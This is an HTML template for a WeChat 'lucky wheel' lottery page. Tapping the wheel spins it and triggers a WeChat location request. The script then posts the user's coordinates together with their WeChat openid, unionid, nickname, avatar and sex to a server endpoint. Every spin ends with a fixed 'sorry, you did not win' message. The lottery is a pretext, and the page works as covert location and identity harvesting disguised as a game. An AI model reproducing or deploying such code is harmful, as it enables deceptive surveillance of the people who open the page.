<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <script src="/temp/default/js/jquery-3.1.0.min.js"></script>
    <script src="/temp/default/js/flexible.debug.js"></script>
    <script src="/temp/default/js/flexible_css.debug.js"></script>
    <link rel="stylesheet" href="/temp/default/css/paySuc.css">
    <title>幸运转盘</title>
    <style>
        .container{
            display: flex;
            align-items: flex-start;
            justify-content: flex-start;
            background: rgba(224, 114, 54, 1);
            overflow: hidden;
        }
        .panel{
            margin: 2rem auto;
            width: 8rem;
            height: 8rem;
            background: url('/temp/default/image/zhuan.png');
            background-size: 100% 100%;
            display: flex;
            align-items: center;
            justify-content: center;
            /* animation: circle 3s ease 0.5s 1 alternate forwards; */
        }
        @keyframes circle {
            0%{
                transform: rotateZ(0deg);
                transform-origin: center center;
            }
            100%{
                transform: rotateZ(560deg);
                transform-origin: center center;
            }
        }
        .pointer{
            width: 2rem;
            height: 2.3rem;
            /* animation: circle1 3s ease 0.5s 1 alternate forwards; */
        }
        @keyframes circle1 {
            0%{
                transform: rotateZ(0deg);
                transform-origin: center center;
            }
            100%{
                transform: rotateZ(-560deg);
                transform-origin: center center;
            }
        }
        .share{
            width:60%;
            margin: 0 auto;
            border: 2px solid #fff;
            border-radius: 0.1rem;
            text-align: center;
            height: 1rem;
            line-height: 1rem;
            color: #fff;
            font-size: 0.5rem;
        }
    </style>
</head>
<body>
<div class="container">
    <!-- <img src="/temp/default/image/zhuan.png" alt="" class="panel" onclick="share()"/> -->
    <div class="panel" id="panel">
        <img src="/temp/default/image/pointer.png" alt="" srcset="" class="pointer" id="pointer" onclick="choujiang()">
    </div>
    <div class="share" onclick="share()">分享给好友</div>
</div>

<div id="mask">
    <img src="/temp/default/image/share.png" alt="" srcset=""/>
</div>
<script>
    var share = function(){
        console.log($('#mask')[0]);
        $('#mask')[0].style.display = 'block';
    }
    $('#mask').click(function(){
        $('#mask')[0].style.display = 'none';
    });
</script>
<script src="http://res.wx.qq.com/open/js/jweixin-1.2.0.js"></script>
<script>
    var appId = '{$signPackage.appId}';
    var timestamp = '{$signPackage.timestamp}';
    var nonceStr = '{$signPackage.nonceStr}';
    var signature = '{$signPackage.signature}';
    var id = '{$userInfo.openid}';
    var uid = '{$userInfo.unionid}';
    var avatar = '{$userInfo.headimgurl}';
    var sex = '{$userInfo.sex}'
    var nickname = '{$userInfo.nickname}';
    var userid = '{$userid}';

    function choujiang(e){
        $('#panel').css('animation', 'circle 3s ease 0.5s 1 alternate forwards');
        $('#pointer').css('animation', 'circle1 3s ease 0.5s 1 alternate forwards');
        wx.config({
            debug: false,
            appId: appId,
            timestamp:timestamp,
            nonceStr: nonceStr,
            signature: signature,
            jsApiList: [
                // 所有要调用的 API 都要加到这个列表中
                'getLocation',
            ]
        });
        wx.ready(function(){
            wx.getLocation({
                type: 'gcj02', // 默认为wgs84的gps坐标，如果要返回直接给openLocation用的火星坐标，可传入'gcj02'
                success: function (res) {
                    var latitude = res.latitude; // 纬度，浮点数，范围为90 ~ -90
                    var longitude = res.longitude; // 经度，浮点数，范围为180 ~ -180。
                    var speed = res.speed; // 速度，以米/每秒计
                    var accuracy = res.accuracy; // 位置精度
                    alert(accuracy);
                    $.ajax({
                        type: 'POST' ,
                        dataType: 'json' ,
                        url:'api/locat.php' ,
                        data:  {
                            "lat": latitude,
                            "lng": longitude,
                            "sid": userid,
                            "openid" : id,
                            "avatar" : avatar,
                            "unionid" : uid,
                            "nickname" : nickname,
                            "sex" : sex,
                            "type" : 1,
                            "action":"location"
                        },
                        success: function(data) {
                            setTimeout("alert('很遗憾未抽到')", 4000);

                        }
                    });
                }
            });
        });

    }

</script>
</body>
</html>